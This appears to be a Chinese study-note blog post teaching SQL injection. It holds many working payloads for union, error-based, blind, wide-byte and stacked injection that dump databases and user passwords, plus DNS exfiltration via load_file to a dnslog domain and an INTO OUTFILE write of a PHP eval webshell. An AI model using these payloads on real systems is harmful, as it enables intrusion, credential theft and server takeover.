学习总结--SQL注入

什么是注入

注入攻击的本质,是把用户输入的数据当做代码执行。
这里需要两个关键条件
1、用户能够控制输入
2、原本程序要执行的代码,拼接了用户输入的数据然后进行执行

什么是SQL注入

在网页上有些地方会与数据库有交互,这时对其进行SQL语句的拼接,如果程序员没有对用户输入的数据进行严格的判断和过滤,就会导致用户传参的恶意SQL语句执行,从而导致数据库内容泄露,形成SQL注入。

SQL注入的分类

依据注入点类型
*数字类型注入
*字符串类型注入
*搜索型注入
依据提交方式分类
*GET注入
*POST注入
*COOKIE注入
*HTTP头注入(X-Forwarded-For注入,User-Agent注入,Referer注入)
依据获取信息方式的分类
*联合查询注入
*基于报错注入
*基于布尔的盲注
*基于时间的盲注
*堆查询注入(可同时执行多条语句)

判断是否存在SQL注入

1、在传参后面加单引号’,双引号",单括号),双括号))等,看页面是否报错
2、利用and 1=1/and 1=2看页面是否正常
3、如果是数字型传参,可尝试修改传参的数值,或者让其进行加减运算。
4、在以上方法测试不出时,尝试时间盲注。
在MySQL中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的结果,是将表达式expr执行count次。
因此利用Benchmark()函数,可以让同一个函数执行若干次,是的结果返回的时间比平时要长,通过时间长短的变化,来判断语句是否执行成功。在这里插入图片描述
易出现SQL注入的功能点
凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在URL中?id=传参处、登录页面、涉及获取HTTP头(user-agent/client-ip等)的功能点击订单处理等地方,丽日登录页面,除常见的万能密码,post数据注入外也有可能发生在HTTP头中的client-ip和x-forwarded-for等字段处。这些字段是用来记录登录的ip的,有可能会被存储进数据库中从而与数据库产生交互导致SQL注入。

一、union注入

union注入使用与页面有回显点的注入。
但判断存在注入之后,使用order by判断当前页面的额字段数在这里插入图片描述在这里插入图片描述
当前页面的字段数是3,因为order by 是专用来排序的,输入数字几,就是通过第几列进行排序,当输入4是页面回显错误,证明第4列不存在,所以此页面只有3列字段。
接着就可以查看页面是否有回显点
union select 1,2,3
如果直接使用这条语句,页面不会有显示,因为页面只能显示一条数据,所以要然前面的语句报错。
可以用and 1=2把前面的条件否定,或者直接将前面id的传参值修改为一个不存在的值。
?id=1' and 1=2 union select 1,2,3-- q
?id=1.1' union select 1,2,3-- q
在这里插入图片描述在这里插入图片描述
页面有输出数字,2和3,这样就可以在2和3的位置放上一些函数,来获取数据库的一些重要信息
version():数据库版本信息
database():当前所在的数据库名称
@@basedir:数据库的安装目录
@@datadir:数据库文件的存放目录
user():数据库的用户
current_user():当前用户名
system_user():系统用户名
session_user():连接到数据库的用户名
@@version_compile_os:操作系统版本

?id=1.1' union select 1,version(),user()-- q在这里插入图片描述
?id=1.1' union select 1,@@basedir,@@datadir-- q
在这里插入图片描述
?id=1.1' union select 1,current_user(),session_user()-- q
在这里插入图片描述
也可以只用字符串连接函数一次性查询多条数据
?id=1.1' union select 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)-- q在这里插入图片描述
//获取所有数据库:
?id=1.1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- q
//获取所有的表
?id=1.1' union select 1,2,group_concat(table_name) from information_schema.tables-- q
//获取所有字段名
?id=1.1' union select 1,2,group_concat(column_name) from information_schema.columns-- q
#我们要获取当前数据库中的数据
//当前库名:
?id=1.1' union select 1,2,database()-- q在这里插入图片描述
//此数据库中所有的表
?id=1.1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- q在这里插入图片描述
//查询users表中的列
?id=1.1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- q在这里插入图片描述
知道users表里有三个数据,那么构造语句
?id=1.1' union select 1,2,group_concat(id,'--',username,'--',password) from users-- q
就可以吧users表里的所有数据一次性查询出来
在这里插入图片描述

二、报错注入

利用场景:页面上没有显示位,但是会输出SQL语句执行的错误信息,比如mysql_error()

floor报错注入

floor报错注入是利用count()函数、rand()函数、floor()函数、group by 这几个特定的函数结合在一起产生漏洞
?id=1.1' and (select 1 from(select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))a)-- q
//将其分解
(select 1 from(Y)a)
Y=select count(*) from information_schema.tables group by concat(z)
Z=database(),floor(rand(0)*2)
database()替换成需要查询的函数即可
在这里插入图片描述
floor报错参考:https://blog.csdn.net/zpy1998zpy/article/details/80650540

ExtractValue报错注入

EXTRACTVALUE (XML_document, XPath_string)

  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
  • 第二个参数:XPath_string (Xpath 格式的字符串).
    作用:从目标XML中返回包含所查询值的字符串,字符串长度限制32个字符
    //可以将database()换成想要查询的函数或SQL语句,0x7e是十六进制,代表~
    ?id=1.1' and extractvalue(1,concat(0x7e,database(),0x7e))-- q
    在这里插入图片描述

Updatexml报错注入

updatexml函数实际上是更新xml文档,但是我们在XML文档路径的位置写入了子查询,输入特殊字符,然后因为不符合输入规则报错,这是会将子查询的内容连接错误信息返回。
UPDATEXML(XML_document,XPath_string,new_value)

  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
  • 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
  • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据
    作用:改变文档中作用节点的值
    //将database()换成想要查询的函数或SQL语句
    ?id=1.1' and updatexml(1,concat(0x7e,database(),0x7e),1)-- q在这里插入图片描述

三、盲注

盲注需要用到的一些函数:ascii()、substr()、length()、exists()、concat()等
1、判断数据库类型
from后面加数据库特有的表
//判断是否是MySQL数据库
?id=1' and exists(select * from information_schema.tables)-- q
//判断是否是access数据库
?id=1' and exists(select * from msysobjects)-- q
//判断是否是sqlserver数据库
?id=1' and exists(select * from sysobjects)-- q
2、判断当前数据库名(此方法不适用于access和sqlserver)
1、先利用二分法判断库名的长度范围
?id=1' and length(database())>7页面正常
?id=1' and length(database())>8页面不正常
大于7不大于8,说明字符串长度是8
2、判断当前数据库名的字符,同样使用二分法
//第一个字符
?id=1' and ascii(substr(database(),1,1))>100
//第二个字符
?id=1' and ascii(substr(database(),2,1))>100
............
由此判断数据库名为security
3、判断数据库中的表
1、盘数数据库中表的个数,数量为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4-- q
2,判断每个表的字符长度
//第一个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6-- q
//第二个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6-- q
3、判断表名每个字符的ascii值
//第一个表的第一个字符
?id= 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100-- q
//第一个表的第二个字符
?id= 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100-- q
4、判断表中字段
1、判断表中字段的个数
?id=1' and (select(column_name) from information_schema.columns where table_name='users')>3-- q
2、判断字段的长度
//第一个字段的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5-- q
//第二个字段的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5-- q
3判断字段的ascii值
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100-- q
5、判断字段中的数据
1、字段中数据长度
?id=1' and length((select id from users limit 0,1))>5-- q
2、数据的ascii值
?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100

四、时间盲注

时间盲注与布尔盲注的方法一样,只是多了一个if()判断
and sleep(5)判断是否存在时间盲注
sleep()函数判断页面响应时间:
if(判断条件,为ture是执行,为false时执行)
and if(盲注语句,sleep(5),1)
在这里插入图片描述

五、宽字节注入

宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,在GBK编码中一个汉字占两个字节。而在UTF-8中,一个汉字占三个字节。如果数据库使用GBK编码,可以尝试宽字节注入,如果不是,则不能进行宽字节注入。
在PHP中也有对于SQL注入进行过滤的函数
addslashes()函数,这个函数在预定义字符之前添加反斜杠\。预定义字符单引号'、双引号"、反斜杠\、NULL
mysql_real_escape_string()函数,这个函数用来转义SQL语句中的特殊符号xoo、\n、\r、\、'、"、x1a
魔术引号get_magic_quotes_gpc():当打开时,所有的预定义字符都会被添加反斜杠进行转义,这个和addslashes()函数的作用相同,所以,如果魔术引号打开了,可以不适用addslashes()函数,有是三个魔术引号指令。

  • magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
  • magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
  • agic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ‘’。而双引号、反斜线 和 NULL 字符将不会进行转义。 如何取得其值参见 ini_get()
    当在传参处传入单引号’、双引号"发现都会被添加反斜杠在这里插入图片描述
    因为在GBK编码中,两个字节便是一个汉字,那么就可以在传参的单引号前面添加一个字符,使其与反斜杠组成一个汉字从而跳过魔术引号的限制
    页面报错,添加%df可以绕过魔术引号
    在这里插入图片描述
    宽字节注入的预防
    在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()
    所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
    当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递

六、堆叠注入

mysqli_multi_query()函数执行一个或者多个数据库的查询,多个查询用分号隔开(有这个函数才能进行堆叠注入)
用分号直接将原本的语句结束,然后在后面添加新的数据库语句
?id=1;' and 1=1-- q

七、HTTP头注入

头注入需要在登陆状态可以进行注入。

超全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。

常用的:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
对其相对应的请求头部分进行测试,判断注入点。

DNS注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想要获取的数据外带出来。
load_file函数
load_file函数是读取文件的函数,读取文件并返回内容为字符串,要使用此函数,文件必须在服务器的主机上,必须指定完整路径的文件,而且要有file权限。改文件所有字节可读,但文件的内容要小于1MB。
UNC路径
UNC路径是类似\softer这样的形式网络路径,他符合\servername\sharename格式,其中servername是服务器名,sharename是共享资源的名字,我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。
当我们使用load_file去访问域名的时候,会产生DNS解析,这个时候可以通过构造SQL语句去查询数据库
select load_file(concat('//',(select database()),'.xxx.dnslog.cn/asd'))
当查询表名时,要用limit进行限制输出,因为拼接的字段只能有一条。
通过在数据库执行这条语句,可获得数据库名,若想查询其它内容,在子查询处更换SQL语句或函数即可
在这里插入图片描述

文件操作注入

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限,load_file权限默认是不开启的,需要在mysql.ini中有secure_file_priv=配置文件才可以,与DNS注入一样
into outfile命令使用环境:必须知道,服务器上一个可以写入文件的文件夹的完整路径。
load_file():读取函数
into outfile:写入函数
获取网站路径:
1、报错显示
当输入的参数错误,页面会爆出错误文件的绝对路径
在这里插入图片描述
谷歌语法
inurl:xxx.xxx warning
在这里插入图片描述
union select 1,2,3 into outfile"C:\\phpStudy\\WWW\\qwe.php"在这里插入图片描述
虽然报了语句错误,可以访问这个文件试试在这里插入图片描述
文件写入成功,那么直接写入一句话木马
union select 1,"<?php @eval($_REQUEST['a']);?>",3 into outfile"C:\\phpStudy\\WWW\\1.php"在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值